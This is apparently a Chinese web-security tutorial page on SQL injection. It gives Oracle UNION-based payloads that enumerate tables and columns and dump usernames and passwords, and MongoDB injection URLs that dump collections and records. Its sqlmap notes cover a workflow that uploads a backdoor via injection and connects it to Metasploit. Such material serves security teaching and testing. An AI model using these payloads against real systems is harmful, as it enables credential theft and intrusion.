26、web攻防——通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2

文章目录

SQL注入课程体系;

  1. 数据库注入:access、mysql、mssql、oracle、mongodb、postgresql等
  2. 数据类型注入:数字型、字符型、搜索型、加密型(base63 json)等
  3. 提交方式注入:get、post、cookie、http头等
  4. 查询方式注入:查询、增加、删除、更新、堆叠等
  5. 复杂注入利用:二次注入、dnslog注入、绕过bypass等

Oracle

参考资料:【实战】Oracle注入总结

python 复制代码
# 判断字段数
order by 3

# 测回显
and 1=2 union select '1','2' from dual //要加单引号
python 复制代码
# 查看数据库名(每次只能查一条数据)
and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SEESION_EVOLVE$')) from dual


python 复制代码
# 模糊爆库
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual //%..%之间的内容为你想要的库名可能包含得关键词
python 复制代码
# 爆列名
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
python 复制代码
# 爆其他列名
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
python 复制代码
# 爆数据
and 1=2 union select user_name,user_pwd from "sns_users"
python 复制代码
# 爆其他数据
and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

MongoDB

在python环境中,一般用MongoDB。

url 复制代码
# 测回显
/new_list.php?id=1'});return ({title:1,content:'2
url 复制代码
# 爆库名
/new_list.php?id=1'});return ({title:tojson(db),content:'2
url 复制代码
# 爆表名
/new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'2 //db.getCollectionNames()()返回得是数组,需要用tojson转换为字符串
url 复制代码
# 爆字段内容
/new_list.php?id=1'});return ({title:tojson(db.Authority_confidentail.find()[0]),content:'2 // db.Authority_confidentail是当前用的集合(表),find函数用于查询,0是第一条数据。

sqlmap

sqlmap超详细笔记

  • sqlmap 数据库注入数据猜解
  • sqlmap 高权限注入读写执行
  • sqlmap 高权限注入联动MSF,其实就是用sqlmap上传一个后门,MSF监听端口,Sqlmap执行后门文件,靶机上线。

sqlmap支持哪些数据库注入?

不支持nosql

sqlmap支持哪些sql注入模型?

带外指的是类型dnslog这类得注入。

sqlmap支持其他不一样功能?

  sqlmap提供了很多脚本。
使用sqlmap一般注入流程分析?

  1. 判断注入点;
  2. 判断数据库类型,就是这个注入点是什么数据库的注入点;
  3. 根据数据库类型,是否存在高权限注入点;
  4. 文件读写、命令执行不行,就只能老老实实去猜数据;

  如果碰到一些网站,登陆后的注入点;电脑能访问,手机不能访问。建议使用sqlmap -r参数使用数据包进行跑。

相关推荐
豆约翰25 分钟前
css自制图书封面效果
前端·css
积硅步致千里30 分钟前
Fyne 兼容性:报错还能救,透明窗才要命
前端·后端
可乐鸡翅yeah_1 小时前
hls.js 播放质量埋点实战,采集卡顿、起播、错误指标定位线上用户问题
开发语言·前端·javascript·ecmascript·音视频·m3u8·音视频在线播放
tedcloud1231 小时前
Wand-Enhancer:如何搭建一套远程开发与测试环境
前端·人工智能·macos·开源·流程图
掘金挖土2 小时前
前端手摸手跑路之 AI 应用开发(三)
前端·后端
计算机魔术师2 小时前
OpenAI 宣称破解千禧年难题,数学家却说是「反例搜索」?
前端
志尊宝2 小时前
Vue3 零基础每日笔记(015):条件渲染 v-if 与 v-show——控制 DOM 生死还是控制显隐
前端·vue.js·笔记
掘金者阿豪2 小时前
OceanBase 和金仓怎么选?别只看分布式,复杂查询更考验架构取舍
前端·后端·架构
Bug修理工Bubble2 小时前
Swift ARC:一个对象到底什么时候才会被释放?
前端
ClouGence2 小时前
GPT-6 做 UI 自动化测试:Demo 惊艳,但真的适合长期回归吗?
前端·chatgpt·测试